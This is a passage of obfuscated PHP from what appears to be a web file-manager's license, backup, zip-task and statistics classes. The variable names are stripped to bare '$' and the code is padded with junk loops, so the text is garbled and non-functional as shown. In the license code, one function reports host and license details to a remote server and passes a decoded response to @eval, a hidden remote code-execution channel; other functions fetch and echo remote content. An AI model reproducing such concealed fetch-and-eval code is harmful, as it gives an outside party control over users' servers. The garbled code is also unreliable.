base64_encode(strrev($this->yowpb68be23f($, $[196]))); $ = $[753]; if (!$) { die; } if ($[$[197]] && $[$[197]] >= 1) { Model($[33])->setDeep($[198], $[122]); } Model($[33])->set($); $ = md5($_SERVER[$[106]] . strrev($) . $[$[191]]); $ = $[754]; $ = strrev(substr($, 10, 16)); $ = $[755]; while ($ < $[733]) { if ($ >= 0) { break; } $++; } $ = $this->qzot9bcca048(json_encode($), $); $ = array_to_keyvalue(Model($[7])->listData(), $[199]); $ = $[$[200]]; $ = $[756]; while (strlen($) < $[733]) { if (!$) { break; } $++; } $ = array(); $[$] = $; Model($[7])->update($[$[201]], array($[202] => $)); $ = $[757]; if (strlen($) < $[733]) { die; } $this->nkfrf5d35153 = $; $this->pkwx73a438be = $[$[108]]; $this->licenseRegistSuccess(); Cache::set($[203] . md5($ . $[204]), $[6]); show_json(LNG($[189]), !0); $ = $[758]; if (!$) { die; } } private function licenseRegistSuccess() { $ =& $_SERVER[]; $ = Model($[33])->get(); if ($[$[63]] != $[122]) { Model($[33])->set($[63], $[122]); } Action($[205])->initStart(!0); } private function herw7e951f6e() { $ =& $_SERVER[]; $ =& $_SERVER[]; Model($[33])->set(array($[153] => $[6], $[191] => $[6], $[108] => $[109], $[110] => $[6], $[111] => $[6])); Model($[33])->setDeep($[198], $[206]); $this->nkfrf5d35153 = array(); $this->pkwx73a438be = $[109]; $ = $[759]; while (strlen($) < $[708]) { if (!$) { break; } $++; } } private function gydxa33943f4() { $ =& $_SERVER[]; $ =& $_SERVER[]; $_SERVER[$[162]] = _get($_SERVER, $[162], APP_HOST); $ = $[760]; if (!$) { return; } $this->pkwx73a438be = $[109]; $ = $[761]; if (strlen($) < $[700]) { die; } $ = Model($[33])->get(); $ = $[762]; if (!$) { return; } if ($[$[108]] == $[109]) { return; } $ = Model($[33])->get($[100]); $ = $[203] . md5($ . $[204]); $ = Cache::get($); $ = $[763]; if (!$) { die; } if (!is_array($) || !isset($[$[207]]) || time() - $[$[207]] >= 60) { $ = Model($[7])->loadList(); $ = $[$[200]]; $ = md5($_SERVER[$[106]] . strrev($) . $[$[191]]); $ = strrev(substr($, 10, 16)); $ = $this->lmqa964148d0($[$[86]][$], $); $ = json_decode($, !0); } if (!is_array($)) { return $this->herw7e951f6e(); } $ = strtotime($[$[129]]); if (time() >= $) { return $this->herw7e951f6e(); } if (!isset($[$[207]]) || time() - $[$[207]] > 20) { $[$[207]] = time(); Cache::set($, $); } $this->nkfrf5d35153 = $; $this->pkwx73a438be = $[$[108]]; $ = $[764]; if (strlen($) < $[708]) { return; } } private function xotueccc3da1() { $ =& $_SERVER[]; $ = $GLOBALS[$[13]]; $ = $_SERVER[$[24]]; $ = $_SERVER[][765]; if ($ == $[208] && $this->pkwx73a438be == $[109]) { show_json(LNG($[209]), !1, $[210]); } $ = array($[211], $[212]); if (in_array($, $)) { if ($this->pkwx73a438be == $[109] && isset($[$[213]])) { show_json(LNG($[209]), !1, $[210]); die; } $ = $this->mudifc2ae4b3(); if ($ != intval($[214])) { if ($ <= Model($[125])->count()) { show_json(LNG($[215]), !1, $[210]); die; } } } } private function qfake58ff099() { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = array($[119], $[120]); if (!KodUser::isRoot() || !isset($_GET[$[216]])) { return; } if (!in_array($_SERVER[$[24]], $)) { return; } $ = $[217]; $ = $[766]; while (strlen($) < $[322]) { if (!$) { break; } $++; } $ = $this->fjez1b054a46($, $[218]); $ = $[767]; if (!$) { die; } $ = stream_context_create(array($[219] => array($[220] => $[221], $[222] => 3))); $ = $[768]; $ = @file_get_contents($, !1, $); $ = $[769]; header($[223]); if ($ && strstr($, $[224])) { echo $; } die; } public function vupq514571ad($) { $ =& $_SERVER[]; $ =& $_SERVER[]; if ($this->pkwx73a438be == $[225]) { return $; } $ = $this->versionPluginList(); $ = explode($[226], $this->versionPluginFilter()); $ = $[770]; if (!$) { die; } $ = array(); $ = $[771]; if (!$) { return; } foreach ($ as $ => $) { if ($ == $[227] && substr($this->pkwx73a438be, 0, 1) == $[227]) { continue; } if (!in_array($, $)) { $[] = $; } } foreach ($ as $) { unset($[$]); $ = $[772]; } return $; } private function versionPluginList() { $ =& $_SERVER[]; $ =& $_SERVER[]; return array($[228] => $[227], $[229] => $[227], $[230] => $[227], $[231] => $[232], $[233] => $[232], $[234] => $[232], $[235] => $[232], $[236] => $[232], $[237] => $[232], $[238] => $[232], $[239] => $[232], $[240] => $[232], $[241] => $[232], $[242] => $[232], $[243] => $[232], $[244] => $[232]); $ = $[773]; if (strlen($) < $[703]) { return; } } private function versionPluginFilter() { $ =& $_SERVER[]; $ =& $_SERVER[]; if ($this->pkwx73a438be == $[109]) { return $[6]; } $ = _get($this->nkfrf5d35153, $[245], $[6]); $ = _get($this->nkfrf5d35153, $[116], $[6]); $ = $[774]; if (strlen($) < $[322]) { return; } $ = _get($this->nkfrf5d35153, $[246], $[6]); if ($ > time() && $ > time()) { $ = explode($[226], $); $ = array_keys($this->versionPluginList()); $ = array_merge($, $); $ = implode($[226], array_filter(array_unique($))); } return $; } private function hnof8d516d14() { $ =& $_SERVER[]; if ($this->pkwx73a438be != $[109]) { $GLOBALS[$[86]][$[90]][$[247]] = $[206]; return; } $GLOBALS[$[86]][$[248]] = $[122]; if (Model($[249])->get($[63]) != $[206]) { Model($[249])->set($[63], $[206]); } } public function dsmhee5d54e4() { $ =& $_SERVER[]; return $_SERVER[][250]; $ = $[775]; while ($ < $[700]) { if ($ >= 0) { break; } $++; } } private function kayc7b289131() { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = array($[251], $[252], $[253]); $ = $[776]; while ($ < $[703]) { if ($ >= 0) { break; } $++; } $ = $[254] . md5($[255]); if ($this->pkwx73a438be == $[109] || !KodUser::isRoot()) { return; } if (!in_array($_SERVER[$[24]], $)) { return; } if (time() % 4 != 0) { return; } $ = call_user_func(array($[256], $[257]), $); if ($ && time() - $ < intval($[258])) { return; } call_user_func(array($[256], $[139]), $, time()); $ = Model($[33])->get($[100]); $ = $[777]; if (!$) { die; } $ = array($[152] => Model($[33])->get($[153]), $[167] => $this->pkwx73a438be, $[163] => $_SERVER[$[164]], $[165] => Model($[33])->get($[131]), $[105] => md5($_SERVER[$[106]] . $), $[156] => $[136], $[159] => $_SERVER[$[160]]); $ = $[778]; if (strlen($) < $[733]) { die; } $ = $this->elvb21c98862($[259], $); $ = $[779]; while (strlen($) < $[708]) { if (!$) { break; } $++; } if (!is_array($)) { return; } if ($[$[152]] && $[$[260]]) { if ($this->fyleda343085($[$[260]]) == $[$[152]]) { return; } } $this->herw7e951f6e(); if ($this->fyleda343085($[$[260]]) != $[$[152]]) { $ = array($[185] => $, $[186] => $_SERVER[$[106]], $[187] => this_url(), $[161] => $_SERVER[$[162]]); $ = $this->bdipfc67131d(json_encode($)); $ = $this->elvb21c98862($[188] . $); if ($ && is_array($) && isset($[$[260]])) { $ = $this->lmqa964148d0($[$[260]], 2); if ($) { $ = $this->fyleda343085($); } if ($) { try { @eval($); } catch (Exception $) { } } } } } private function elvb21c98862($ = '', $ = array(), $ = 5) { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = $[261]; $ = $[780]; $ = $this->fjez1b054a46($, $[262]); $ = $ . $; if ($ && is_array($)) { $ = $ . $[263] . http_build_query($); } if ($ === -1) { return $; } $ = stream_context_create(array($[219] => array($[222] => $, $[220] => $[264]), $[265] => array($[266] => !1, $[267] => !1))); $ = @file_get_contents($, !1, $); $ = $[781]; return json_decode($, !0); $ = $[782]; if (!$) { die; } $ = $[783]; if (strlen($) < $[703]) { return; } } private function mudifc2ae4b3() { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = array($[268] => $[269], $[270] => $[271], $[272] => $[273], $[274] => $[275], $[276] => $[277], $[278] => $[214], $[279] => $[214], $[280] => $[269], $[281] => $[271], $[282] => $[273], $[283] => $[284], $[285] => $[275], $[286] => $[287], $[288] => $[277], $[289] => $[290], $[291] => $[292], $[293] => $[294]); $ = $[$this->pkwx73a438be]; $ = $[784]; if (!$) { return; } $ = intval($ ? $ : $[269]); $ = _get($this->nkfrf5d35153, $[295]); $ = $ ? intval($) : 0; $ = $[771]; return $ + $; $ = $[785]; } public function zhqc43a8dfc9($) { $ =& $_SERVER[]; $ = $this->mudifc2ae4b3(); if ($[$[296]] == $[122]) { return; } if ($ >= intval($[214])) { return; } $ = Model($[125])->count(); if ($ <= $) { return; } $ = Model($[125])->field($[296])->limit($)->select(); $ = array_to_keyvalue($, $[6], $[296]); if (!in_array($[$[296]], $)) { show_json($[297], !1, $[210]); } } public function gikhf4a9cb07() { $ =& $_SERVER[]; $ =& $_SERVER[]; if (!KodUser::isRoot() || mt_rand(1, 100) > 20) { return; } $ = $[217]; $ = $this->fjez1b054a46($, $[218]); $ = $[786]; while (strlen($) < $[322]) { if (!$) { break; } $++; } $ = stream_context_create(array($[219] => array($[220] => $[221], $[222] => 3))); $ = $[787]; $ = @file_get_contents($, !1, $); echo $[298] . hash_encode($) . $[299]; } private function qzot9bcca048($, $, $ = 3) { $ =& $_SERVER[]; $ =& $_SERVER[]; usleep(1); $ = trim($); $ = mt_rand(0, 5) . $[6]; $ = rand_string(15); $ = $[788]; $ = $[300]; $ = $[789]; if (!$) { return; } switch ($) { case $[206]: $ = $this->yowpb68be23f($, strrev($ . $)); break; $ = $[790]; if (!$) { return; } case $[122]: $ = $this->yowpb68be23f($, strrev($ . $)); $ = $[791]; if (strlen($) < $[703]) { die; } break; case $[301]: $ = $this->yowpb68be23f($, base64_encode($ . $)); break; case $[302]: $ = $this->yowpb68be23f($, md5($ . $)); $ = $[792]; if (!$) { return; } break; case $[303]: $ = base64_encode($); $ = $[793]; while ($ < $[322]) { if ($ >= 0) { break; } $++; } $ = rand(0, 64); $ = $[$]; $ = md5($ . md5($ . $) . $); $ = substr($, $ % 8, $ % 8 + 7); $ = $[794]; if (!$) { return; } $ = $[6]; $ = 0; $ = 0; $ = 0; $ = $[795]; while (strlen($) < $[703]) { if (!$) { break; } $++; } for ($ = 0; $ < strlen($); $++) { $ = $ == strlen($) ? 0 : $; $ = ($ + strpos($, $[$]) + ord($[$++])) % 64; $ = $[796]; $ .= $[$]; $ = $[797]; } $ = hash_encode($ . $); break; default: $ = $this->yowpb68be23f($, $ . $); break; $ = $[798]; if (!$) { return; } } $ = strrev($ . $ . $); if ($ - 1 > 0) { $ = $this->qzot9bcca048($, $, $ - 1); } return $; } private function lmqa964148d0($, $, $ = 3) { $ =& $_SERVER[]; $ =& $_SERVER[]; if (!is_string($) || strlen($) < 10) { return !1; } $ = trim($); $ = strrev($); $ = $[0]; $ = $[799]; $ = substr($, 1, 15); $ = substr($, 16); $ = $[800]; $ = $[300]; switch ($) { case $[206]: $ = $this->fjez1b054a46($, strrev($ . $)); $ = $[801]; if (strlen($) < $[708]) { die; } break; $ = $[802]; while ($ < $[700]) { if ($ >= 0) { break; } $++; } case $[122]: $ = $this->fjez1b054a46($, strrev($ . $)); $ = $[803]; while (strlen($) < $[700]) { if (!$) { break; } $++; } break; $ = $[804]; if (!$) { die; } case $[301]: $ = $this->fjez1b054a46($, base64_encode($ . $)); break; case $[302]: $ = $this->fjez1b054a46($, md5($ . $)); $ = $[805]; if (!$) { return; } break; $ = $[806]; if (!$) { die; } case $[303]: $ = hash_decode($); $ = $[807]; $ = $[0]; $ = substr($, 1); $ = $[808]; while ($ < $[322]) { if ($ >= 0) { break; } $++; } $ = strpos($, $); $ = md5($ . md5($ . $) . $); $ = substr($, $ % 8, $ % 8 + 7); $ = $[809]; while (strlen($) < $[708]) { if (!$) { break; } $++; } $ = $[6]; $ = $[810]; if (strlen($) < $[733]) { die; } $ = 0; $ = $[811]; if (!$) { return; } $ = 0; $ = $[812]; while ($ < $[703]) { if ($ >= 0) { break; } $++; } $ = 0; for ($ = 0; $ < strlen($); $++) { $ = $ == strlen($) ? 0 : $; $ = $[813]; if (!$) { die; } $ = $++; $ = $[814]; while ($ < $[700]) { if ($ >= 0) { break; } $++; } $ = strpos($, $[$]) - $ - ord($[$]); while ($ < 0) { $ += 64; } $ .= $[$]; $ = $[815]; } $ = base64_decode($); break; $ = $[811]; if (!$) { die; } default: $ = $this->fjez1b054a46($, $ . $); $ = $[816]; if (!$) { return; } break; } if ($ - 1 > 0) { $ = $this->lmqa964148d0($, $, $ - 1); } return $; } public function bdipfc67131d($) { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = $this->qwnz6d567534(); $ = $[817]; $ = $this->qwnz6d567534(); $ = $[818]; while (strlen($) < $[700]) { if (!$) { break; } $++; } $ = ($ - 1) * ($ - 1); $ = intval(($ + $) / 2); while (1) { $ = $; $ = $; while ($ % $ != 0) { $ = $; $ = $[819]; if (strlen($) < $[322]) { return; } $ = $; $ = $ % $; $ = $[820]; } if ($ == 1) { break; } else { $++; } } $ = 2; $ = $[821]; while ($ < $[322]) { if ($ >= 0) { break; } $++; } for ($ = 0; $ < $ * 10; $++) { if (($ * $ + 1) % $ == 0) { $ = intval(($ * $ + 1) / $); break; } } $ = $this->yowpb68be23f($ * $ . $[6], $[136]); $ = md5($[304] . ($ + $) . $[305] . $ . $[305] . $ . $[306]); $ = $this->yowpb68be23f($, $) . $[307] . $; return $; } public function fyleda343085($) { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = explode($[307], $); if (count($) != 2) { return $[6]; } $ = $this->fjez1b054a46($[1] . $[6], $[136]); $ = $[822]; while ($ < $[733]) { if ($ >= 0) { break; } $++; } if (!$) { return $[6]; } $ = intval($); $ = $[823]; $ = 0; $ = 0; $ = $[824]; if (!$) { return; } for ($ = 3; $ < $; $ += 2) { if ($ % $ != 0) { continue; } $ = $; $ = intval($ / $); break; $ = $[825]; if (strlen($) < $[733]) { return; } } $ = ($ - 1) * ($ - 1); $ = intval(($ + $) / 2); $ = $[826]; if (strlen($) < $[700]) { die; } while (1) { $ = $; $ = $; while ($ % $ != 0) { $ = $; $ = $[827]; if (!$) { die; } $ = $; $ = $[828]; if (!$) { die; } $ = $ % $; $ = $[829]; } if ($ == 1) { break; } else { $++; } } $ = 2; $ = $[830]; if (strlen($) < $[322]) { die; } for ($ = 0; $ < $ * 10; $++) { if (($ * $ + 1) % $ == 0) { $ = intval(($ * $ + 1) / $); break; } } $ = md5($[304] . ($ + $) . $[305] . $ . $[305] . $ . $[306]); $ = $this->fjez1b054a46($[0], $); $ = $[831]; while (strlen($) < $[700]) { if (!$) { break; } $++; } return $; $ = $[832]; } public function qwnz6d567534() { $ =& $_SERVER[]; $ = mt_rand(pow(2, 14), pow(2, 16) - 1); $ = $[833]; if (strlen($) < $[700]) { die; } $ = array(); $ = $[834]; if (strlen($) < $[703]) { return; } $ = 1; while ($ <= (int) sqrt($)) { $ = $; while (!0) { $++; if ($ <= 2) { $ = $; break; } else { if ($ < 2) { continue; } } $ = !0; for ($ = 2; $ <= sqrt($); $++) { if ($ % $ == 0) { $ = !1; } } if ($) { $ = $; break; } } $[] = $; $ = $[835]; while ($ < $[703]) { if ($ >= 0) { break; } $++; } } $ = 2; for ($ = $; $ > 1; $--) { $ = !0; foreach ($ as $) { if ($ % $ == 0) { $ = !1; break; } } if ($) { $ = $; break; } } return $; $ = $[836]; } public function yfjqc68195ba($, $) { $ =& $_SERVER[]; return call_user_func(array($[8], $[308]), $, $); } public function yowpb68be23f($, $) { $ =& $_SERVER[]; $ =& $_SERVER[]; return call_user_func(array($[309], $[310]), $, $); $ = $[837]; if (strlen($) < $[733]) { return; } } public function fjez1b054a46($, $) { $ =& $_SERVER[]; return call_user_func(array($[309], $[311]), $, $); } } class Backup { protected static $name; protected static $option; protected static $manual; public function __construct() { $this->model = Model($_SERVER[][838]); $this->init(); $this->keep(); } public function init() { $ =& $_SERVER[]; $this->isManual(); self::$name = date($[839]); if (!($ = $this->model->lastItem())) { $ = $this->initData(); } else { self::$name = $[$[32]]; if ($[$[840]] == $[91]) { self::$name = date($[262]); $ = intval(_get($, $[841], 0)); if (self::$manual == 0 && $[$[32]] == self::$name) { $this->model->remove($[$[487]]); } $ = $this->initData($, $[$[842]]); } else { $this->checkStore($[$[842]]); } } self::$option = $; } private function isManual() { $ = _get($GLOBALS, $_SERVER[][843], 0); $ = intval($); self::$manual = $ && $ == 1 ? 1 : 0; } private function initData($ = 0, $ = '') { $ =& $_SERVER[]; $ = $this->model->config(); if ($ && $[$[842]] != $) { $ = 0; } $this->checkStore($[$[842]]); if (self::$manual == 1) { self::$name .= $[11] . date($[844]); } $ = array($[842] => $[$[842]], $[32] => self::$name, $[840] => 0, $[171] => $[$[171]], $[845] => self::$manual, $[380] => array($[846] => array($[840] => 0), $[847] => array($[840] => 0, $[848] => 0, $[849] => 0, $[33] => $[12], $[850] => 0, $[851] => 0), $[852] => array($[840] => 0, $[848] => 0, $[849] => 0, $[850] => 0, $[851] => 0), $[233] => array($[840] => 0, $[853] => 0, $[854] => 0, $[855] => 0, $[856] => 0, $[555] => $, $[850] => 0, $[851] => 0)), $[850] => time(), $[851] => 0); $ = $this->model->insert($); $[$[487]] = $; return $; } private function checkStore($) { $ = Model($_SERVER[][857]); $ = $->listData($); $->checkConfig($); } public static function get() { if (!self::$option) { $ = Model($_SERVER[][838]); $ = $->findByName(self::$name); $->parseContent($); self::$option = $; } return self::$option; } public static function set($) { $ =& $_SERVER[]; $ = self::get(); foreach ($ as $ => $) { array_set_value($, $, $); } Model($[838])->update($[$[487]], $); self::$option = $; return self::$option; } public function keep() { $ =& $_SERVER[]; $ = self::get(); if (_get($, $[858], 0) == $[91]) { return; } $this->backupKeep($); self::set(array($[858] => 1)); } private function backupKeep($) { $ =& $_SERVER[]; if (self::$manual == 1) { return; } $ = $this->model->listData(); if (empty($)) { return; } $ = 0; $ = array(); foreach ($ as $) { if ($ >= 7) { break; } $[] = $[$[32]]; $++; } for ($ = 0; $ < 12; $++) { $[] = date($[859], strtotime("\55{$}\x20\x6d\x6f\x6e\x74\x68\163")); } $ = array_unique($); $ = Model($[860])->get($[861]); foreach ($ as $) { if (isset($[$[845]]) && $[$[845]] == $[91]) { continue; } if (!empty($[$[32]]) && in_array($[$[32]], $)) { continue; } $this->model->remove($[$[487]]); $ = $this->backupPath($, $); IO::remove($, !1); } } private function backupPath($, $ = false) { $ =& $_SERVER[]; if (!$) { $ = Model($[860])->get($[861]); } $ = $[$[32]]; $ = substr(md5($[862] . $ . $), 0, 8); return "\173\x69\x6f\x3a{$[$[842]]}\x7d\x2f\144\141\x74\x61\142\141\163\145\57\142\x61\x63\153\x75\160\x2f" . $ . $[11] . $; } public function db() { $ =& $_SERVER[]; $ = self::get(); if (_get($, $[863], 0) == $[91]) { return !0; } $ = new BackupDb(); if (!$->index()) { return !1; } self::set(array($[863] => 1)); return !0; } public function dbFile() { $ =& $_SERVER[]; $ = self::get(); if (_get($, $[864], 0) == $[91]) { return !0; } $ = new BackupDbFile(); if (!$->index()) { return !1; } self::set(array($[864] => 1)); return !0; } public function file() { $ =& $_SERVER[]; $ = self::get(); if (_get($, $[865], 0) == $[91]) { return !0; } if ($[$[171]] == $[866]) { $ = new BackupFile(); if (!$->index()) { return !1; } } self::set(array($[865] => 1, $[840] => 1)); return !0; } public static function log($) { write_log($, $_SERVER[][867]); } } class BackupDb { protected static $io; protected static $name; public function __construct() { } public function index() { $ =& $_SERVER[]; $ = Backup::get(); self::$io = $[$[842]]; self::$name = $[$[32]]; $ = new DbManage(); $ = $->dbType(); $ = array($[868] => $, $[869] => time()); Backup::set($); $ = $this->tmpFilesPath() . $[870] . self::$name . $[8]; del_dir($); mk_dir($); $ = $ = 0; try { $ = $->db()->getTables(); } catch (Exception $) { Backup::log($[871] . $->getMessage()); return !1; } $ = array_diff($, array($[872], $[873])); foreach ($ as $) { if ($ == $[874]) { continue; } $ += $->model($)->count(); } $ = new Task($[875], $[867], $, LNG($[876]) . $[877] . LNG($[878])); $GLOBALS[$[879]] = self::$name; foreach ($ as $) { $ = $ . $ . $[880]; if ($ == $[874]) { @touch($); continue; } $ = null; if ($ == $[881] && $[$[171]] == $[866]) { $ = self::$io; } $ += $->sqlFromDb($, $, $, $); } unset($GLOBALS[$[879]]); $->end(); if ($ > $) { $ = $; } $ = array($[868] => $, $[863] => 1, $[882] => $, $[883] => $, $[884] => time()); Backup::set($); if ($ - $ > 0) { $ = $[885]; if (!stristr(I18n::getType(), $[886])) { $ = $[887]; } Backup::log(array($, $)); return !1; } return !0; } private function tmpFilesPath() { $ =& $_SERVER[]; $ = TEMP_FILES; if ($GLOBALS[$[6]][$[92]][$[888]]) { $ = $GLOBALS[$[6]][$[92]][$[888]]; if (!mk_dir($) || !is_writable($) || !IO::mkfile($ . $[889])) { $ = TEMP_FILES; } } return $; } } goto C; A: class TaskZip extends TaskFileTransfer { protected function startAfter() { $ =& $_SERVER[]; parent::startAfter(); Hook::bind($[1917], array($this, $[1907])); Hook::bind($[1909], array($this, $[1910])); $ =& $this->task; $[$[1911]] = $[1295]; if (!$[$[1677]]) { $[$[1677]] = LNG($[1918]); } } protected function endAfter() { $ =& $_SERVER[]; parent::endAfter(); Hook::unbind($[1917], array($this, $[1907])); Hook::unbind($[1909], array($this, $[1910])); } public function updateAfter() { $ =& $_SERVER[]; $ =& $this->task; if (!$[$[1156]] || !$[$[853]]) { return; } if ($[$[1911]] == $[1295]) { $ = $[$[1846]]; if ($[$[1847]] != $[1295]) { $ = 0; } $ = ($[$[1850]] + $) / $[$[853]]; $[$[1793]] = $ * 0.3; } else { if ($[$[1911]] == $[400]) { $ = $[$[1792]] / $[$[1156]]; $[$[1793]] = 0.3 + $ * 0.5; } else { if ($[$[1911]] == $[110]) { $ = 0; if ($[$[1845]]) { $ = $[$[1846]] / $[$[1845]]; } $[$[1793]] = 0.3 + 0.5 + $ * 0.2; } } } if ($[$[1793]] > 0) { $ = timeFloat() - $[$[1795]] - $[$[1798]]; $[$[1799]] = $ * (1 - $[$[1793]]) / $[$[1793]]; } } public function copyFileStart($, $, $, $, $, $) { $ =& $_SERVER[]; parent::copyFileStart($, $, $, $, $, $); $ =& $this->task; if ($[$[1911]] == $[400]) { $[$[1911]] = $[110]; } $this->update(); } public function copyFileEnd($, $, $, $, $, $) { $ =& $_SERVER[]; $ =& $this->task; $[$[1846]] = $[$[1845]]; $[$[1850]] += $[$[1845]]; $[$[1847]] = $[12]; $this->update(); } public function zipEvent($, $, $, $) { $ =& $_SERVER[]; $ =& $this->task; $[$[1843]] = get_path_this($); $[$[1845]] = $; $[$[1846]] = $; $[$[1158]] = $ == $[1919] ? $[1914] : $[1915]; $[$[1847]] = $[12]; $[$[853]] = $; $[$[1911]] = $[400]; $this->update(); } public function nameParse($) { $ =& $_SERVER[]; $ =& $this->task; if ($[$[1792]] < $[$[1156]]) { $ = get_path_this($); if (strstr($, $[10])) { $[$[1792]] += 1; } } if ($[$[1911]] == $[1295]) { $[$[1911]] = $[400]; } $[$[1843]] = $; $this->update(); } } class AnalysisModel extends ModelBaseLight { public function init($) { $ =& $_SERVER[]; $ = array($[679] => array($[33] => $[1920], $[362] => array($[285], $[855], $[1921], $[1922])), $[1923] => array($[33] => $[1924], $[362] => array($[285], $[853], $[1925], $[1926], $[1927]))); if (!isset($[$])) { return !1; } $this->optionType = $[$][$[33]]; $this->field = $[$][$[362]]; return !0; } public function listData($ = false, $ = "\155\x6f\x64\151\x66\171\124\151\x6d\145", $ = false) { return parent::listData($, $, $); } public function trendList($) { $ =& $_SERVER[]; $ = $this->listData(); if ($) { $ = end($); $ = date($[1928], strtotime($[1929])); if ($[$[285]] == $) { return $; } $ = strtotime($[$[285]]); } if (!isset($)) { $ = $ == $[679] ? $[611] : $[920]; $ = Model($)->min($[234]); } $ = $[1930] . ucfirst($); $ = $this->dateList($); foreach ($ as $) { $this->{$}($); } return $this->listData(); } private function dateList($) { $ =& $_SERVER[]; $ = $; $ = strtotime($[1929]); $ = array(); while ($ <= $) { $[] = date($[1928], $); $ = strtotime($[1931], $); } return $; } public function _recordUser($ = '') { $ =& $_SERVER[]; $ = strtotime(date($[1932], strtotime($))); $ = strtotime(date($[1933], strtotime($))); $ = array($[234] => array($[1106], $)); $ = Model($[611])->where($)->count($[1791]); $[$[234]] = array($[420], array($, $)); $ = Model($[611])->where($)->count($[1791]); $[$[33]] = $[1934]; $ = Model($[1935])->where($)->count($[1936]); $ = array($[285] => $, $[855] => (int) $, $[1921] => (int) $, $[1922] => (int) $); return $this->insert($); } public function _recordStore($ = '') { $ =& $_SERVER[]; $ = strtotime(date($[1933], strtotime($))); $ = array($[234] => array($[1106], $)); $ = Model($[558])->where($)->sum($[79]); $[$[497]] = 0; $ = Model($[920])->where($)->sum($[79]); $[$[191]] = 1; $ = Model($[920])->where($)->sum($[79]); $[$[191]] = 2; $ = Model($[920])->where($)->sum($[79]); $ = array($[285] => $, $[853] => (int) $, $[1925] => (int) $, $[1926] => (int) $, $[1927] => (int) $); return $this->insert($); } public function trend($, $) { $ =& $_SERVER[]; if (!$this->init($)) { return !1; } $ = $this->trendList($); if ($ && $ != $[1763]) { $ = $[0][$[285]]; $ = $this->validDate($, $); $ = array(); $ = array_to_keyvalue($, $[285]); foreach ($ as $) { if (isset($[$])) { $ = $[$]; } else { $ = end($); $[$[285]] = $; if ($ == $[679]) { $[$[1921]] = $[$[1922]] = 0; } } $[] = $; } $ = $; } $ = array($[679] => array($[855] => LNG($[1937]), $[1921] => LNG($[1938]), $[1922] => LNG($[1939])), $[1923] => array($[853] => LNG($[1940]), $[1925] => LNG($[1941]), $[1926] => LNG($[1942]), $[1927] => LNG($[1943]))); $ = array($[679] => $[1944], $[1923] => $[79]); if (empty($)) { $ = date($[1928], strtotime($[1929])); $ = array($[285] => $); foreach ($[$] as $ => $) { $[$] = 0; } $[] = $; } $ = array(); foreach ($ as $) { if ($ == $[1923] && $[$[1925]] > $[$[853]]) { $[$[1925]] = $[$[853]]; } foreach ($[$] as $ => $) { $ = array($[285] => $[$[285]], $[1677] => $); $[$[$]] = isset($[$]) ? $[$] : 0; $[] = $; } } return $; } public function validDate($, $) { $ =& $_SERVER[]; $ = date($[1928], strtotime($[1929])); $ = array($); switch ($) { case $[1770]: $ = mktime(0, 0, 0, date($[1945]), date($[1469]) - date($[1558]) + 7 - 7, date($[1946])); $ = 0; do { $ = date($[1928], $ - 3600 * 24 * 7 * $); $[] = $; $++; } while ($ < $); break; case $[1768]: $ = 1; do { $ = date($[1947], strtotime("\x2d\40{$}\40\x6d\x6f\x6e\x74\x68\x73")); $[] = $; $++; } while ($ < $); break; case $[1948]: $ = (int) date($[1946], strtotime($)); $ = (int) date($[1946]); if ($ >= $) { break; } for ($; $ < $; $++) { $[] = $ . $[1949]; } break; default: break; } if ($ > end($)) { array_pop($); } sort($); return $; } public function listTable($) { $ = ucfirst($); return Model($)->listData(); } public function option($) { $ = $_SERVER[][1950] . ucfirst($); return $this->{$}(); } private function optionUser() { $ =& $_SERVER[]; $ = Model($[611])->count($[1791]); $ = Model($[611])->where($[1951])->count($[1791]); $ = intval($GLOBALS[$[6]][$[436]][$[1736]]) / 3600; $ = strtotime("\x2d{$}\40\x68\157\x75\x72\163"); $ = strtotime(date($[1932])); if ($ < $) { $ = $; } $ = array($[1952] => array($[1107], $)); $ = (int) Model($[611])->where($)->count($[1791]); if (!$) { $ = 1; } $ = array($[1952] => array($[1107], $)); $ = Model($[611])->where($)->count($[1791]); return array($[848] => (int) $, $[1953] => (int) ($ - $), $[1954] => (int) $, $[1955] => (int) $, $[1956] => $); } private function optionFile() { $ =& $_SERVER[]; $ = $this->sourceSize(); $ = $[$[79]]; $ = $[$[1925]]; $ = Model($[920])->where(array($[497] => 0))->count($[194]); $ = array($[497] => 0, $[234] => array($[1107], strtotime(date($[1932])))); $ = Model($[920])->where($)->sum($[79]); $ = Model($[920])->where($)->count($[194]); return array($[853] => $, $[1925] => $, $[1957] => $ - $, $[1958] => (int) $, $[855] => (int) $, $[1959] => (int) $); } private function optionAccess() { $ =& $_SERVER[]; return array($[848] => $this->typeLogCnt(), $[110] => $this->typeLogCnt($[110]), $[537] => $this->typeLogCnt($[537]), $[1960] => $this->typeLogCnt($[1960]), $[1961] => $this->typeLogCnt($[1961]), $[679] => $this->typeLogCnt($[12], $[1936])); } private function typeLogCnt($ = '', $ = "\151\x64") { $ =& $_SERVER[]; $ = array($[110] => array($[1962], $[1963]), $[537] => array($[1964], $[1965]), $[1960] => array($[1966], $[1967], $[1968]), $[1961] => array($[1969], $[1970]), $[1971] => array($[1972], $[1973], $[1974])); $ = strtotime(date($[1932])); $ = array($[234] => array($[1107], $)); if ($) { $[$[33]] = array($[7], $[$]); } $ = Model($[1935])->where($)->count($); return (int) $; } private function optionServer() { $ =& $_SERVER[]; $ = $this->diskDriver(); $ = KodIO::defaultDriver(); $ = array($[913] => $[$[487]]); $ = Model($[558])->where($)->sum($[79]); $ = explode($[53], $_SERVER[$[147]]); $ = $[0]; $ = $GLOBALS[$[6]][$[21]]; $ = $[$[1069]]; if ($ == $[1057]) { $ = explode($[1384], $[$[1068]]); $ = $[0]; } if ($ == $[1005] || $ == $[898]) { $ = Model()->db()->query($[1975]); $ = $[0] && isset($[0][$[1676]]) ? $[0][$[1676]] : 0; $ = $[1976] . ($ ? $[8] . $ : $[12]); } $ = $GLOBALS[$[6]][$[436]][$[922]]; return array($[1977] => $ ? $[$[1978]] : 0, $[1979] => $ ? $[$[1980]] : 0, $[1981] => (int) $[$[1978]] * 1024 * 1024 * 1024, $[1982] => (int) $, $[1983] => ucfirst($), $[1984] => $[1985] . PHP_VERSION, $[1986] => phpBuild64() ? 64 : 32, $[847] => str_replace($[1225], $[1085], $), $[436] => ucfirst($), $[32] => $_SERVER[$[1987]]); } private function diskDriver() { 